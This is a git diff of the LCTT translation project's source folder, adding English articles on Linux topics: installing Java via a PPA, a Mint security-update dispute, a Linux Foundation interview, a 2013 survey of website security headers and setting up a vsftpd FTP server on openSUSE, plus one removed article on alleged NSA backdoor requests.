via: http://www.linuxcareer.com/insights-into-top-3-it-skills-groups-in-highest-demand
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.linuxcareer.com/it-skill-sets
|
||||
[2]:http://www.linuxcareer.com/images/Linux_jobs_classification_jul_oct_2013.png
|
||||
[3]:http://www.r-project.org/
|
@ -0,0 +1,89 @@
|
||||
Install Oracle Java 7 in Elementary OS ‘Luna’ Via PPA
|
||||
================================================================================
|
||||
**Question**: How can I install Oracle Java 7 in Elemetary OS Luna?
|
||||
|
||||
**Answer**: To install Java 7 in Elementary OS Luna follow the steps below:
|
||||
|
||||
Since Elementary OS is Ubuntu based we are at liberty to use **WEPUD8 PPA** which has various Java packages in it.
|
||||
|
||||
1. Open Terminal.
|
||||
|
||||
2. Run the command below to add Java PPA to your repository:
|
||||
|
||||
$ sudo add-apt-repository ppa:webupd8team/java
|
||||
|
||||
You are about to add the following PPA to your system:
|
||||
Oracle Java (JDK) Installer (automatically downloads and installs Oracle JDK6 / JDK7 / JDK8). There are no actual Java files in this PPA. More info: http://www.webupd8.org/2012/01/install-oracle-java-jdk-7-in-ubuntu-via.html
|
||||
Debian installation instructions: http://www.webupd8.org/2012/06/how-to-install-oracle-java-7-in-debian.html
|
||||
More info: https://launchpad.net/~webupd8team/+archive/java
|
||||
Press [ENTER] to continue or ctrl-c to cancel adding it
|
||||
|
||||
3. Press ENTER to continue
|
||||
|
||||
gpg: keyring `/tmp/tmpB5WwDG/secring.gpg' created
|
||||
gpg: keyring `/tmp/tmpB5WwDG/pubring.gpg' created
|
||||
gpg: requesting key EEA14886 from hkp server keyserver.ubuntu.com
|
||||
gpg: /tmp/tmpB5WwDG/trustdb.gpg: trustdb created
|
||||
gpg: key EEA14886: public key "Launchpad VLC" imported
|
||||
gpg: Total number processed: 1
|
||||
gpg: imported: 1 (RSA: 1)
|
||||
OK
|
||||
|
||||
4. Now update your system
|
||||
|
||||
$ sudo apt-get update
|
||||
|
||||
5. Install Java 7 by running the command below:
|
||||
|
||||
$ sudo apt-get install oracle-java7-installer
|
||||
|
||||
[sudo] password for enock:
|
||||
Reading package lists... Done
|
||||
Building dependency tree
|
||||
Reading state information... Done
|
||||
The following packages were automatically installed and are no longer required:
|
||||
gir1.2-gstreamer-0.10 libilmbase6 libmagickcore4 libmagickwand4 libcdt4
|
||||
libmagickcore4-extra liblqr-1-0 imagemagick-common libpathplan4 libopenexr6
|
||||
rsync netpbm libgvc5 libnetpbm10 libgraph4
|
||||
Use 'apt-get autoremove' to remove them.
|
||||
The following extra packages will be installed:
|
||||
gsfonts-x11 java-common
|
||||
Suggested packages:
|
||||
default-jre equivs binfmt-support visualvm ttf-baekmuk ttf-unfonts
|
||||
ttf-unfonts-core ttf-kochi-gothic ttf-sazanami-gothic ttf-kochi-mincho
|
||||
ttf-sazanami-mincho ttf-arphic-uming
|
||||
The following NEW packages will be installed:
|
||||
gsfonts-x11 java-common oracle-java7-installer
|
||||
0 upgraded, 3 newly installed, 0 to remove and 196 not upgraded.
|
||||
Need to get 88.5 kB of archives.
|
||||
After this operation, 473 kB of additional disk space will be used.
|
||||
Do you want to continue [Y/n]?
|
||||
|
||||
6. Type **Y** for Yes and Press enter to continue installation.
|
||||
|
||||
7. During the installation, you need to agree to the license to continue. Select **OK**.
|
||||
|
||||

|
||||
|
||||
8. Then Select **Yes** to continue.
|
||||
|
||||

|
||||
|
||||
9. Now relax for the packages to be downloaded and installed automatically:
|
||||
|
||||

|
||||
|
||||
7. Installation has been completed successfully. You can now check the version of Java from the Terminal:
|
||||
|
||||
$ java -version
|
||||
java version "1.7.0_45"
|
||||
Java(TM) SE Runtime Environment (build 1.7.0_45-b18)
|
||||
Java HotSpot(TM) 64-Bit Server VM (build 24.45-b08, mixed mode)
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.unixmen.com/install-oracle-java-7-elementary-os-luna-via-ppa/
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,45 @@
|
||||
Linux Mint Respond to Ubuntu Developer’s ‘Vulnerable’ Claim
|
||||
================================================================================
|
||||
**It’s never a particularly tasty task having to write a news article on something that you know is going to cause headache and upset in the wider community.**
|
||||
|
||||
Earlier today I had to grin and bear it as I did just that in an article relaying comments made by Canonical engineer Oliver Grawert in which he branded Linux Mint a “‘vulnerable’ system” due to the way the distro provides security updates to users.
|
||||
|
||||
*Tl;dr: they don’t. (At least, not automatically.)*
|
||||
|
||||
A Canonical developer highlighting security concerns with another distro might sound like pure click bait on paper, but in practice it has important ramifications for users. Security is important, even on a platform that most perceive as invincible.
|
||||
|
||||
> ‘To put my own Top Trumps cards on the table, I was unaware that Mint held back security updates…’
|
||||
|
||||
Whether you agreed with Oliver’s take on Mint’s approach or not, **his comments were worth relaying**. These weren’t made by someone with an axe to grind.. They were informed by his esteemed position as an Ubuntu engineer. He knows what he’s talking about. Whether correct or misplaced, his comments have resulted in positive discussions about how security update practices should be handled.
|
||||
|
||||
To put my own Top *Trump™* cards on the table, I was unaware that Mint held back security updates for packages like Xorg and the Linux Kernel. So, at the very least, this mini-furore – borne largely out of knee-jerk reaction to the comments rather than their content in intent – has served a purpose.
|
||||
|
||||
### Mint Respond ###
|
||||
|
||||
Linux Mint head-honco Clement Lefebvre has since responded to the remarks, saying that he and his team of developers are “very happy with the filtering system” for security updates in Mint.
|
||||
|
||||
> ” We explained why the Ubuntu update policy was not good enough for us and we consequently developed the update manager to solve that particular problem.
|
||||
>
|
||||
> Firefox doesn’t come to you later in Mint than it does in Ubuntu (it’s a level 2 update).
|
||||
>
|
||||
> Yes, by default you get updates in Ubuntu for kernels and Xorg and not in Mint. Yes, there’s a very good reason for that.”
|
||||
|
||||
While Lefebvre doesn’t expand on precisely what that “very good reason” is, the general consensus on the web seems to be that Kernel and Xorg updates are held back because of the stability and performance issues that sometimes arise after upgrading.
|
||||
|
||||
Which, in many ways, is understandable.
|
||||
|
||||
Linux Mint don’t prevent their users from installing these updates but they are not enabled by default.
|
||||
|
||||
For further information on Linux Mint’s approach to security refer to the following blog post.
|
||||
|
||||
- [Linux Mint – Security Vs Stability][1]
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.omgubuntu.co.uk/2013/11/linux-mint-responds-ubuntu-developers-security-claims
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://segfault.linuxmint.com/2013/11/answering-controversy-stability-vs-security-is-something-you-configure/
|
@ -0,0 +1,86 @@
|
||||
l3b2w1 translating……
|
||||
|
||||
Linux chief: ‘Open source is safer, and Linux is more secure than any other OS
|
||||
================================================================================
|
||||
In an interview with Linux Foundation executive director Jim Zemlin, VentureBeat got a bird’s-eye view of the future of the open-source operating system for 2014.
|
||||
|
||||
We also addressed the controversial issues of government spying and “backdoors” — those nefarious windows into our personal online lives that the public recently discovered in most of the services we use every day.
|
||||
|
||||
Zemlin gave us the skinny on how and why GNU/Linux remains the most secure option for concerned consumers — and why it’s becoming the OS of choice for powering cars, phones, TVs, and all kinds of emerging devices.
|
||||
|
||||
Here’s our e-mail transcript in a bare-naked Q&A format.
|
||||
|
||||
----------
|
||||
|
||||
**VentureBeat: Security and privacy has been the hottest topic this year, bar none. We’ve heard rumors that Linus [Torvalds, Linux creator] OK’d a Linux backdoor for the government.**
|
||||
|
||||
**Zemlin**: If there were a backdoor in Linux, you’d know it.
|
||||
|
||||
The whole world can see every line of code in Linux. This is one of the reasons Linux is more secure than other operating systems and why open-source software overall is a safer than closed software. The transparency of the code ensures it’s secure.
|
||||
|
||||
And for the record: He wasn’t approached.
|
||||
|
||||
**VentureBeat: How committed is the foundation to preserving Linux users’ privacy and freedom from tracking/surveillance?**
|
||||
|
||||
**Zemlin**: As committed as we have always been. It’s very difficult to insert something into the kernel that would violate privacy and freedom without thousands of developers noticing. The nature of Linux is that it’s self-policing.
|
||||
|
||||
**VentureBeat: Do you think there’s any chance that this year’s privacy/security/surveillance issues has driven or will drive more consumers toward Linux?**
|
||||
|
||||
**Zemlin**: Around the world, I am hearing people say, “Using open source is a critical to ensure privacy.” So yes, I think that will drive more users people to Linux.
|
||||
|
||||
I also think more consumers are being driven toward Linux for a variety of reasons, in addition to the confidence and trust they have about privacy and security related to the platform. The transparency of the code and development process gives increasingly knowledgeable and aware consumers an option they feel good about.
|
||||
|
||||
[Video game publisher] Valve and [its work on SteamOS][1] is driving more consumers to Linux, as is the ongoing dominance of Android and other consumer devices that run Linux — from televisions to appliances, cars, and more.
|
||||
|
||||
**VentureBeat: Do you have any thoughts on the Ubuntu Edge for phones? Where do you see the market for Linux/Ubuntu phones going in 2014-2015?**
|
||||
|
||||
**Zemlin**: I like seeing potentially interesting new products go to market, especially when they’re Linux-based. It is hard to predict what product will produce a big hit in the phone market from year to year.
|
||||
|
||||
I don’t think it is a stretch to predict phones based on Linux will dominate. Android, Tizen, Ubuntu, Firefox, and more show that Linux can drive innovation in the mobile market and create new experiences for consumers and market opportunities for developers and OEMs.
|
||||
|
||||
What’s exciting about the year ahead, and what I’ll be watching, is how Linux and open source will help connect all of these devices, objects, and services together.
|
||||
|
||||
**VentureBeat: What’s the most exciting use case you’ve seen so far for Linux embedded in automobile systems?**
|
||||
|
||||
**Zemlin**: No question it’s the in-vehicle-infotainment systems being built by Cadillac, Tesla, Toyota, Jaguar, Land Rover, and others.
|
||||
|
||||
For example, the Tesla Model S, which won the Motor Trend Car of the Year [honor] in 2013, features a 17-inch flat-screen computer running a custom-built Linux OS. This is really, really cool stuff.
|
||||
|
||||
And the 2014 Motor Trend Car of the Year was just revealed — the Cadillac CTS sedan — and it also uses Linux for its in-vehicle-infotainment system. Car makers are able to innovate and differentiate with these systems using Linux.
|
||||
|
||||
The success of Linux here can be seen in the latest numbers from IHS Automotive, which reported this month that sales of automotive Linux are expected to rise to 53.7 million units in 2020, passing Microsoft and Blackberry QNX in the global automotive infotainment market.
|
||||
|
||||
The Linux Foundation does a lot of work in this area with its Automotive Grade Linux workgroup. By hosting a neutral, supportive environment among the Linux kernel community, other open-source communities, and the automotive industry, we’re able to help advance automotive Linux technologies among some of the world’s largest automakers including Nissan, Jaguar, Land Rover, Toyota, and more.
|
||||
|
||||
**VentureBeat: How is Linux growing beyond the hardcore developer market, especially with regard to consumers and gamers?**
|
||||
|
||||
**Zemlin**: This year has been a turning a point for Linux with gamers for sure. Valve, the gaming company behind the Steam web platform for Linux, builds and runs all of its source code and animation on Linux. Valve’s CEO Gabe Newell reported at LinuxCon this year that they’re running 198 games on Linux, and with the introduction of the Linux-based Steam, that number will only continue to go up. This is the beginning of a new trend for Linux and gaming.
|
||||
|
||||
Consumers use Linux every day. It is the software that runs our lives. Companies like Google, Facebook, and Twitter are built on Linux and open-source software. At our LinuxCon Europe conference in October, Twitter’s Chris Aniszczyk told the audience: “Twitter is of course all running on Linux. Why would you need anything else?”
|
||||
|
||||
Linux now powers the 1.3 million Android phones that are activated daily, and most of the nearly 600,000 new TVs sold every day. New appliances and cars are being built with Linux. Major transportation systems use the operating system. The superpopular [GoPro uses Linux and open source][2]. The examples are endless.
|
||||
|
||||
And Linux and open source will just keep reaching more into mainstream consumer life. Samsung uses the Linux kernel and Linux-based products throughout its product line, from TVs to phones to home appliances and more.
|
||||
|
||||
Stay tuned — you’ll see more coming that illustrates the growing role of Linux and open source software and collaborative development in everyday life.
|
||||
|
||||
**VentureBeat: What are the biggest opportunities for free and open-source software in 2014, in your opinion?**
|
||||
|
||||
**Zemlin**: We’ve talked about gaming and consumer devices, but the enterprise continues to present even more opportunity for Linux. The rise of cloud computing is creating new challenges for developers and new opportunities for growth. Try to find a public cloud that’s not running Linux.
|
||||
|
||||
The realization of years of promise in software defined networking will be one of the major stories of 2014. People don’t appreciate how big software defined networking and network function virtualization will become. Think about it. Billions of dollars are spent on hardware based switches, routers, load balancers, firewalls, etc.; this is all being abstracted into software. More importantly it is being abstracted via open source software in the sweet spot for OSS which is at this infrastructure layer. I think you’ll see projects like OpenDaylight and others have a big breakout year in 2014.
|
||||
|
||||
Of course, this is all part of a broader trend towards collaborative development, which should be of interest to your readers. I’d predict that in another decade nearly all of infrastructure software will be built collaboratively. Developers in 2014 need to learn how to build software collaboratively and how to work on and contribute to open source software projects. Their career opportunities will be endless if they understand the principles of collaborative development and open source software.
|
||||
|
||||
It’s a thrilling time to be involved in Linux. It’s become the de facto platform to go to for everything from smart watches to TVs to automobiles, you name it.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://venturebeat.com/2013/11/26/linux-chief-open-source-is-safer-and-linux-is-more-secure-than-any-other-os-exclusive/
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://venturebeat.com/2013/09/23/steamos-valves-linux-based-operating-system-for-the-tv-and-living-room/
|
||||
[2]:http://gopro.com/support/open-source
|
@ -1,42 +0,0 @@
|
||||
翻译中 by小眼儿
|
||||
|
||||
NSA Asked Linus Torvalds To Give Them Backdoor Access In Linux, Says MEP
|
||||
================================================================================
|
||||

|
||||
|
||||
*Linus and OMG! Back in 2011*
|
||||
|
||||
The United States’ National Security Agency ([**NSA**][1]) are alleged to have asked the creator of Linux, Linus Torvalds, to create ‘backdoors’ into GNU/Linux through which they could access.
|
||||
|
||||
Far from being a rumour, word of the approach comes via Linus’ father, Nils Torvalds.
|
||||
|
||||
As a Member of the European Parliament (MEP), Nils was present at recent committee inquiry held on the “Mass Surveillance of EU Citizens”. Here, representatives from a number of companies named in documents leaked by NSA whistleblower Edward Snowden were questioned about their own (alleged) involvement.
|
||||
|
||||
Following a question put to a Microsoft spokeswoman by Pirate Party MEP Christian Engström on whether the company willingly include “backdoors” for the NSA in their system, Nils Torvalds MEP [said][2]:
|
||||
|
||||
> When my oldest son [Linus Torvalds] was asked the same question: “Has he been approached by the NSA about backdoors?” he said “No”, but at the same time he nodded. Then he was sort of in the legal free. He had given the right answer …everybody understood that the NSA had approached him.
|
||||
|
||||
If that sounds familiar to you then you might have [seen the snippet on YouTube][3]. Linus went on to insist that he was joking, and that [the NSA had not approached him][4].
|
||||
|
||||
**But, speaking at November 11th’s inquiry, his father seems to think otherwise. **
|
||||
|
||||
Following on from allegations that Google, [Yahoo!][5], Facebook [and, indeed, Microsoft][6] are among the many companies wilfully cooperating with the agency to provide “backdoor” access to their systems, this revelation is far from earth-shattering. In fact, is makes sense in the grand scheme of things. After all, why wouldn’t the NSA ask Linus to do this?
|
||||
|
||||
While Nils doesn’t explain how Linus responded – I’d like to think it involved two fingers – we can be sure that it, at the very least, involved an explanation of how open source prevents something like that being possible.
|
||||
|
||||
If any holes were left around for the NSA’s overly-long tentacles to creep into, you can bet your bottom dollar that they’d have been found, exposed and rooted out long before now.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.omgubuntu.co.uk/2013/11/nsa-ask-linus-torvalds-include-backdoors-linux-father-says-yes
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.nsa.gov/
|
||||
[2]:http://youtu.be/EkpIddQ8m2s?t=3h09m06s
|
||||
[3]:http://www.youtube.com/watch?v=7gRsgkdfYJ8
|
||||
[4]:http://mashable.com/2013/09/19/linus-torvalds-backdoor-linux/
|
||||
[5]:http://www.telegraph.co.uk/technology/internet-security/10459081/Yahoo-to-encrypt-internal-traffic-following-NSA-revelations.html
|
||||
[6]:http://www.bbc.co.uk/news/technology-23285642
|
@ -0,0 +1,88 @@
|
||||
Security Headers on the Top 1,000,000 Websites: November 2013 Report
|
||||
================================================================================
|
||||
It has been almost exactly a year since we conducted the first top 1 million security headers report so it is a great time to re-run the analysis and see how well security header adoption is growing. As before, the latest Chrome and Firefox User-Agent strings were used to make requests to the top 1 million sites over both HTTP and HTTPS. Out of the 2,589,918 responses we had over 100,000 distinct security headers and values to analyze.
|
||||
|
||||
Comparing with previous scans, we had 514,288 URLs that matched the first run we did in November 2012 and 1,207,169 URLs that matched from March 2013. This time around we added yet another security header “X-XSS-Protection” due to a request from a commenter on this blog. Unfortunately, we did not store this header in any of the prior scans so we are unable to compare its adoption rate.
|
||||
|
||||
### Changes, Additions and Removals Yearly Review ###
|
||||
|
||||
A total of 7,258 new security headers were added over the course of a year to the 514,288 URLs that existed in both data sets. As before, we see the largest increase in additions to X-Frame-Options and CORS headers. In a not so distant fourth we see Strict-Transport-Security steadily climbing with 538 new sites using the header. Even though X-Content-Security-Policy and X-WebKit-CSP are deprecated, we still see a small increase in their additions. Once again the highest used headers also end up having the highest number of removals with X-Frame-Options being removed from 365 sites over the course of the year.
|
||||
|
||||

|
||||
|
||||
You may notice that the Content-Security-Policy header is missing from the yearly review, this is because it was not standardized when we first started this analysis. To see the adoption rate of the standardized CSP, we need to look at a comparison of the scan that was conducted in March 2013.
|
||||
|
||||
### Changes, Additions and Removals from March 2013 ###
|
||||
|
||||
We have a lot more URLs that matched since last March, yet surprisingly, the charts look extremely similar. 7,099 new security headers were added for the 1,207,169 URLs that matched between this run and March 2013. Of these sites, a disappointingly small number of 62 sites enabled Content-Security-Policy with 47 sites enabling the soon to be disabled X-Content-Security-Policy header.
|
||||
|
||||

|
||||
|
||||
While it would be nice to see CSP’s adoption rates increase more, it is quite understandable as it is such a large undertaking for any website to create a compliant policy.
|
||||
|
||||
### November 2013 Results ###
|
||||
|
||||
#### X-XSS-Protection ####
|
||||
|
||||
This time around another header was added to the analysis. The Microsoft endorsed header was built to allow sites to control how Internet Explorer’s XSS Filtering feature is to be handled on a resource by resource basis. Valid values for X-XSS-Protection are as follows:
|
||||
|
||||
1. 0 – Disables XSS protections
|
||||
1. 1 – Enables XSS protections, in IE the filter will attempt to sanitize potential malicious characters.
|
||||
1. 1; mode=block – Enables XSS protections and instructs IE to block the response instead of sanitizing.
|
||||
1. 1; report=[url] – Allows reports to be sent to the specified URL of potential XSS attempts.
|
||||
|
||||
It should be noted that Google Chrome’s XSS Auditor will also be disabled if a resource responds with 0 as the value for the X-XSS-Protection header.
|
||||
|
||||

|
||||
|
||||
As previous readers will remember, invalid header values are a serious problem and X-XSS-Protection is no exception. Almost 480 sites incorrectly specified the value of “0; mode=block”. This means that 477 sites who think they are blocking XSS attacks are actively disabling the XSS protections built in to IE and Chrome. Please note that [YouTube][1] and [Blogspot][2] make up the majority of URLs using X-XSS-Protection with 14,210 for YouTube and 18,587 for Blogspot.
|
||||
|
||||
### X-Frame-Options ###
|
||||
|
||||

|
||||
|
||||
X-Frame-Options is still holding strong with SAMEORIGIN being by far the largest setting with YouTube again taking up the majority with 14,178 URLs all of which are set to SAMEORIGIN. Along with the jump in sites using X-Frame-Options we are also seeing an increase in invalid values being configured.
|
||||
|
||||
### Cross Origin Request Sharing (CORS) Headers ###
|
||||
|
||||
Once again we looked at the two CORS headers Access-Control-Allow-Origin and Access-Control-Allow-Credentials.
|
||||
|
||||

|
||||
|
||||
Unfortunately, we are still seeing a large number of sites incorrectly configuring Access-Control-Allow-Origin by specifying wildcards or multiple origins separated by various characters. As a reminder Access-Control-Allow-Origin only allows either * (wildcard value) or a single origin with a valid scheme specified.
|
||||
|
||||
As for Access-Control-Allow-Credentials, 1388 sites have set the value to true, 51 for false. Surprisingly, we identified 196 sites setting wildcard origin access but setting Access-Control-Allow-Credentials to true which is an invalid combination of settings.
|
||||
|
||||
### Strict-Transport-Security ###
|
||||
|
||||
Due to readers suggestions we have changed the long max-age value to be anything greater than 604800 seconds, or 7 days. Likewise, values below are considered to be a short max-age. [Facebook][3] and [Etsy][4] comprise 74 and 61 URLs respectively in the Max Age of 0 column. As a reminder, a header value of 0 clears the domain from the browser’s Strict Transport Security cache. Of the more interesting invalid values, a large number of sites incorrectly use ‘,’ as a delimiter between the max-age value and includeSubDomains directives. Unfortunately, both Firefox and Chrome are extremely strict in this regard and will refuse to add the site to the STS cache if the ‘,’ character is used instead of the RFC defined token of ‘;’. Once again, please check the RFCs before implementing any of these security headers.
|
||||
|
||||

|
||||
|
||||
#### Content-Security-Policy ####
|
||||
|
||||
Content Security Policy continues to grow in usage but extremely slowly. Only 269 sites are using the [w3 specification’s Content-Security-Policy][5] header, with 95 of these URLs coming from Facebook. Interestingly, 584 sites are using X-Content-Security-Policy and 487 sites are using X-Webkit-CSP. It should be noted that these two headers are already considered deprecated but have yet to be disabled. Only an extremely small number of sites using the report-only versions of the CSP headers were observed. It would be expected that web site operators wishing to test out CSP would use the report only mode to determine how Content Security Policy would impact their site, yet we only see 24 sites using Content-Security-Policy-Report-Only.
|
||||
|
||||

|
||||
|
||||
The most interesting result of the CSP analysis is the large number of sites which use CSP with the unsafe directives. It is assumed the reason unsafe-inline has such a high rate of usage is due to how extremely hard it is for developers to remove all inline script from web page elements. While disappointing to see, it is understandable to anyone who has attempted to enact a strict CSP policy.
|
||||
|
||||
### Conclusion ###
|
||||
|
||||
It is safe to say that we have a long way to go to making sure our sites use all available means to protect themselves. While security headers are only a small part of defense, applied appropriately they can and do help us all be more secure internet users. While encouraging to see the numbers increasing, we must keep in mind that less than 10% (199,350) of the 2,589,918 URLs analyzed have security headers. While strict adherence to RFCs is necessary, typos, combined with the rigidness of directive parsing, do not help site administrators or users when encountering these headers. While hope should not be given up on CSP, it’s extremely low adoption rate is rather concerning and it may be worth considering creation of tools to help create, verify and support site administrators that wish to adopt CSP.
|
||||
|
||||
As before, Veracode has released the raw data from this analysis, so feel free to download the November 2013 results here.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.veracode.com/blog/2013/11/security-headers-on-the-top-1000000-websites-november-2013-report/
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.youtube.com/
|
||||
[2]:http://www.blogspot.com/
|
||||
[3]:http://www.facebook.com/
|
||||
[4]:http://www.etsy.com/
|
||||
[5]:http://www.w3.org/TR/CSP/
|
@ -0,0 +1,31 @@
|
||||
Senior researchers analyzed LibreOffice with interesting conclusions
|
||||
================================================================================
|
||||
Users, editors, state departments, teams and city administrations are enjoying [LibreOffice][1], free open-source office suite proving itself a clear success across the globe with more and more adoptions, more and more positive feedback.
|
||||
|
||||
While the users perceive LibreOffice as no-compromise and powerful, it seems that serious researchers have also found and described LibreOffice as a true success, as in the case of the "**Sustainability of Open Source software communities beyond a fork: How and why has the LibreOffice project evolved?**" document, too.
|
||||
|
||||
Essentially, "Sustainability of Open Source software communities beyond a fork: How and why has the LibreOffice project evolved?" is a research document [focused][2] on LibreOffice and its components, ranging from status to public perception, future capabilities, ability to attract supporters and contributors.
|
||||
|
||||
The conclusions of the mentioned document, while natural, talk about LibreOffice as a success on all fronts, conclusions such as:
|
||||
|
||||
- "The LibreOffice project, which was forked from the OpenOffice.org project, shows no sign of
|
||||
- long-term decline"
|
||||
- "LibreOffice has attracted the long-term and most active committers in OpenOffice.org"
|
||||
- "Open Source communities can outlive Open Source software projects"
|
||||
- "LibreOffice is perceived by its community as supportive, diversified, and independent"
|
||||
|
||||

|
||||
|
||||
The serious 60-pages-long document (available for download on [http://www.sciencedirect.com/science/article/pii/S0164121213002744/pdfft...][3]) presents LibreOffice as detailed, being an in-depth accurate analysis of the robust office suite, document written by senior researchers from the University of Skövde’s Informatics Research Centre.
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://iloveubuntu.net/senior-researchers-analyzed-libreoffice-interesting-conclusions
|
||||
|
||||
译者:[译者ID](https://github.com/译者ID) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:http://www.libreoffice.org/
|
||||
[2]:http://www.sciencedirect.com/science/article/pii/S0164121213002744
|
||||
[3]:http://www.sciencedirect.com/science/article/pii/S0164121213002744/pdfft?md5=4b986a117fb06cc127b854cb5f622bec&pid=1-s2.0-S0164121213002744-main.pdf
|
189
sources/Setup FTP Server On openSUSE 13.1.md
Normal file
189
sources/Setup FTP Server On openSUSE 13.1.md
Normal file
@ -0,0 +1,189 @@
|
||||
Setup FTP Server On openSUSE 13.1
|
||||
================================================================================
|
||||
**vsftpd** (**V**ery **S**ecure **F**ile **T**ransport **P**rotocol **D**aemon) is a secure, fast FTP server for Unix/Linux systems. In this how-to article, let us see how to setup a basic FTP server using vsftpd on openSUSE 13.1.
|
||||
|
||||
### Install vsftpd ###
|
||||
|
||||
Login as root user and Enter the following the following command.
|
||||
|
||||
# zypper in vsftpd
|
||||
|
||||
Start vsftpd service and make it to start automatically on every reboot.
|
||||
|
||||
# systemctl enable vsftpd.service
|
||||
# systemctl start vsftpd.service
|
||||
|
||||
### Configure vsftpd ###
|
||||
|
||||
Create a folder for ftp users.
|
||||
|
||||
# mkdir /srv/ftp
|
||||
|
||||
Create a group called **ftp-users**.
|
||||
|
||||
# groupadd ftp-users
|
||||
|
||||
Let us create a sample user called unixmen with home directory **/srv/ftp** and group **ftp-users**.
|
||||
|
||||
# useradd -g ftp-users -d /srv/ftp/ unixmen
|
||||
|
||||
Set password for the new user.
|
||||
|
||||
# passwd unixmen
|
||||
|
||||
Make the ftp home directory **/srv/ftp/** accessible by ftp users.
|
||||
|
||||
# chmod 750 /srv/ftp/
|
||||
# chown unixmen:ftp-users /srv/ftp/
|
||||
|
||||
Edit file vsftpd.conf,
|
||||
|
||||
# nano /etc/vsftpd.conf
|
||||
|
||||
Make the changes as shown below.
|
||||
|
||||
[...]
|
||||
#Uncomment and Set YES to enable write.
|
||||
write_enable=YES
|
||||
[...]
|
||||
# Uncomment and Set banner name for your website
|
||||
ftpd_banner=Welcome to Unixmen FTP service.
|
||||
[...]
|
||||
# Uncomment
|
||||
ls_recurse_enable=YES
|
||||
[...]
|
||||
# Uncomment and set YES to allow local users to log in.
|
||||
local_enable=YES
|
||||
[...]
|
||||
# To disable anonymous access, set NO.
|
||||
anonymous_enable=NO
|
||||
[...]
|
||||
# Uncomment to enable ascii download and upload.
|
||||
ascii_upload_enable=YES
|
||||
ascii_download_enable=YES
|
||||
[...]
|
||||
## Add at the end of this file ##
|
||||
use_localtime=YES
|
||||
|
||||
Save and exit file.
|
||||
|
||||
### Test FTP Server Locally ###
|
||||
|
||||
First let us try to login to our FTP server as shown below.
|
||||
|
||||
# ftp localhost
|
||||
Trying ::1:21 ...
|
||||
Connected to localhost.
|
||||
220 (vsFTPd 3.0.2)
|
||||
Name (localhost:root): unixmen
|
||||
331 Please specify the password.
|
||||
Password:
|
||||
230 Login successful.
|
||||
Remote system type is UNIX.
|
||||
Using binary mode to transfer files.
|
||||
ftp>
|
||||
|
||||
As you in the above output, we will be able to login to ftp server using unixmen user.
|
||||
|
||||
### Test FTP Server Remotely ###
|
||||
|
||||
By default openSUSE built-in firewall won’t allow to login to FTP from remote systems. So let us allow vsftpd service through suse firewall. To do that go to **Yast -> Security and Users -> Firewall**.
|
||||
|
||||

|
||||
|
||||
In the Firewall section, go to **Allowed Services**. In the zone selection drop down box, select **External Zone** and in Service to Allow drop-down box, select **vsftpd server** and click add.
|
||||
|
||||

|
||||
|
||||
Click Next and close Yast Control center.
|
||||
|
||||
Now try to connect from a remote system.
|
||||
|
||||
I tried to login to FTP server from my ubuntu desktop.
|
||||
|
||||
sk@sk:~$ ftp 192.168.1.53
|
||||
Connected to 192.168.1.53.
|
||||
220 (vsFTPd 3.0.2)
|
||||
Name (192.168.1.53:sk): unixmen
|
||||
331 Please specify the password.
|
||||
Password:
|
||||
230 Login successful.
|
||||
Remote system type is UNIX.
|
||||
Using binary mode to transfer files.
|
||||
ftp>
|
||||
|
||||
As you see in the above output, I will be able to connect to FTP server. If you doesn’t allow the vsftpd service through firewall you will get a Connection timed out error.
|
||||
|
||||
### Connect from Browser ###
|
||||
|
||||
Open up your browser and Navigate to **ftp://ip-address/**. Enter the ftp user name and password.
|
||||
|
||||

|
||||
|
||||
### Connect to FTP server using FileZilla ###
|
||||
|
||||
Working from command-line mode might be little bit annoying to newbies. So let us install a graphical FTP client called [**Filezilla**][1] to get things done quite easier:
|
||||
|
||||
Mostly all distribution will have filezilla client in their official repository. To install filezilla on Linux based systems enter the following command:
|
||||
|
||||
On Ubuntu based systems:
|
||||
|
||||
$ sudo apt-get install filezilla
|
||||
|
||||
On Fedora/Redhat systems:
|
||||
|
||||
$ sudo yum install filezilla
|
||||
|
||||
On openSUSE:
|
||||
|
||||
# zypper in filezilla
|
||||
|
||||
After installing filezilla open it. Enter the ftp server IP address, user name and password and click quickconnect.
|
||||
|
||||

|
||||
|
||||
